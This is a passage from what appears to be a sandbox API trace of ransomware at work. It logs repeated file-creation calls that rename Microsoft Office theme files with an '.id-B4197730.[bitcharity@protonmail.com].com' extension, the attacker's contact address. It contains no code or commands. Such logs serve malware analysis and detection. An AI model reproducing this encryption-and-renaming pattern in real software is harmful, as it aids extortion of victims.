liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.581] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.581] CloseHandle (hObject=0x10bc) returned 1 [0274.582] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.582] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.582] CloseHandle (hObject=0x10bc) returned 1 [0274.583] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.583] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.583] CloseHandle (hObject=0x10bc) returned 1 [0274.584] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.584] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.584] CloseHandle (hObject=0x10bc) returned 1 [0274.586] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.586] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.586] CloseHandle (hObject=0x10bc) returned 1 [0274.587] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.587] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.587] CloseHandle (hObject=0x10bc) returned 1 [0274.588] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.588] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.588] CloseHandle (hObject=0x10bc) returned 1 [0274.590] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.590] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.590] CloseHandle (hObject=0x10bc) returned 1 [0274.590] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.590] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.591] CloseHandle (hObject=0x10bc) returned 1 [0274.591] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.591] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.592] CloseHandle (hObject=0x10bc) returned 1 [0274.592] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.592] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.592] CloseHandle (hObject=0x10bc) returned 1 [0274.593] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.593] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.593] CloseHandle (hObject=0x10bc) returned 1 [0274.594] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.594] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.594] CloseHandle (hObject=0x10bc) returned 1 [0274.595] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.595] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.595] CloseHandle (hObject=0x10bc) returned 1 [0274.596] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.596] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.596] CloseHandle (hObject=0x10bc) returned 1 [0274.597] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.597] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.598] CloseHandle (hObject=0x10bc) returned 1 [0274.598] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.599] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.599] CloseHandle (hObject=0x10bc) returned 1 [0274.601] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.601] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.601] CloseHandle (hObject=0x112c) returned 1 [0274.602] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.602] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.602] CloseHandle (hObject=0x112c) returned 1 [0274.603] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.603] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.603] CloseHandle (hObject=0x112c) returned 1 [0275.054] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.054] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.054] CloseHandle (hObject=0x1270) returned 1 [0275.055] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.055] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.055] CloseHandle (hObject=0x1270) returned 1 [0275.057] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.057] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.057] CloseHandle (hObject=0x1270) returned 1 [0275.061] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.062] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.062] CloseHandle (hObject=0x112c) returned 1 [0275.063] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.063] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.063] CloseHandle (hObject=0x112c) returned 1 [0275.064] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.064] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.066] CloseHandle (hObject=0x112c) returned 1 [0275.067] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.067] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.068] CloseHandle (hObject=0x112c) returned 1 [0275.069] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.069] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.069] CloseHandle (hObject=0x112c) returned 1 [0275.071] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.071] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\fpext.msg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.071] CloseHandle (hObject=0x112c) returned 1 [0275.087] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.087] 